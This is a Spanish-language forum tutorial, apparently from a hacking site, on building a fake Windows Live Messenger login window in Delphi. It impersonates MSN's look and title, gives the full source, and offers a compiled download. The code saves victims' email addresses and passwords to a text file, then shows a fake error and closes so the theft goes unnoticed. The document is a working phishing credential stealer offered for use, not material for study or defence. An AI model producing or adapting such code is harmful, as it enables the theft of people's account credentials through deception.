[Delphi] Creacion de un MSN Fake

[Delphi] Creacion de un msn fake

Hola , hace tiempo que queria hacer un manual sobre como hacer
un msn fake en delphi , para empezar vamos a necesitar este No puedes ver links Registrate o Login que contiene el fondo,el boton y el icono para poder hacer el msn fake.
Una vez que hayan bajado el paquete tendremos que crear un nuevo proyecto en delphi con el nombre que quieran.
Despues vamos a necesitar poner dos imagenes con el boton de imagen en la paleta de "additional" , la primera imagen va a ser el fondo y la segunda el boton , entonces para poder poner las imagenes tenemos que ir al object inspector de la primera imagen (image1) , vamos a donde dice picture y seleccionamos la imagen fondo.jpg del zip descomprimido , una vez hallamos acomodado la imagen de fondo en el formulario pasamos a poner la otra imagen boton.jpg (image2) la cual es la imagen del boton de "iniciar sesion" , despues de que las dos imagenes esten acomodadas pasamos a crear dos cajas de texto (edit1 y edit2) , las cajas de texto las vamos a poner en el cuadrado que vemos arriba de el texto "iniciar sesion como..."
Despues de insertar las dos cajas de texto procedemos a poner el texto de ejemplo de la siguiente manera en la propiedad de text

Edit1.Text:= 'Ejemplo555@hotmail.com';
Edit2.Text:= 'Escribe tu contraseña';

Despues de esto vamos a modificar las opciones del formulario para eso vamos a las propiedades de form1 y en la parte de Icon ponemos la ruta del icono que esta en el paquete descargado.
Otra cosa sera poner en el caption del form1 lo siguiente 'Window Live Messenger'
Finalmente en la parte de biMaximize la cual la encontramos al expandir BorderIcons le tendremos que poner false para que el form no se pueda agrandar
Si hicimos todo bien veremos algo asi



Si todo esta deacuerdo a la imagen procedemos a concentrarnos en los eventos OnClick de las cajas de texto poniendo entre el begin y el end de la funcion lo siguiente

Edit1

Edit1.Text:='';

Edit2

Edit2.Text:='';
Edit2.PasswordChar:='*';

Como ven en el caso de Edit1 limpiamos lo que ya esta escrito cuando se presione click sobre la caja de texto , en el caso de Edit2 tambien limpiamos lo escrito pero como esta
caja de texto supone ser la contaseña usamos PasswordChar para que se vean los asteriscos.

Finalmente hacemos doble click en la segunda imagen que es el boton de 'iniciar sesion' para poder entrar al evento OnClick de la imagen , una vez hecho ponemos el siguiente
codigo.

procedure TForm1.Image2Click(Sender: TObject);
var archivo:TextFile;
begin
if Edit1.Text = '' then
begin
ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
end;
if Edit2.Text = '' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
if Edit2.Text='Escribe aqui tu contraseña' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
AssignFile(archivo,'datos.txt');//mod
FileMode:=fmOpenWrite;
Append(archivo);
Writeln(archivo,'[user] : '+Edit1.Text+' [password] : '+Edit2.Text);
CloseFile(archivo);
ShowMessage('Se ha producido un error , es necesario reiniciar Window Live Messenger');
Form1.Close;
end;
end;
//
end;

Si analizamos el codigo podemos ver que usamos sentencias para verificar que los datos de usuario y contraseña realmente esten , de lo contrario muestra un error , si los datos verdaderos son puestos se mostrara el tipico error de msn donde dice que es necesario reiniciar el msn para finalmente cerrarse solo.
Finalmente vemos que si todo sale bien creamos un archivo llamado datos.txt para despues escribir en el los datos obtenidos , claro si queremos podemos modificar la ruta del archivo por algo puse un comentario que dice mod.

Como ven si hicieron todo bien , el codigo les debio quedar asi

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    procedure Edit2Click(Sender: TObject);
    procedure Edit1Click(Sender: TObject);
    procedure Image2Click(Sender: TObject);
   

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit2Click(Sender: TObject);
begin
Edit2.Text:='';
Edit2.PasswordChar:='*';
end;

procedure TForm1.Edit1Click(Sender: TObject);
begin
Edit1.Text:='';
end;

procedure TForm1.Image2Click(Sender: TObject);
var archivo:TextFile;
begin
if Edit1.Text = '' then
begin
ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
end;
if Edit2.Text = '' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
if Edit2.Text='Escribe aqui tu contraseña' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
AssignFile(archivo,'datos.txt');//mod
FileMode:=fmOpenWrite;
Append(archivo);
Writeln(archivo,'[user] : '+Edit1.Text+' [password] : '+Edit2.Text);
CloseFile(archivo);
ShowMessage('Se ha producido un error , es necesario reiniciar Window Live Messenger');
Form1.Close;
end;
end;
//
end;

end.

Eso es todo , si quieren bajar el proyecto + compilado de msn fake lo pueden hacer de No puedes ver links Registrate o Login
Cualquier sugerencia o error diganlo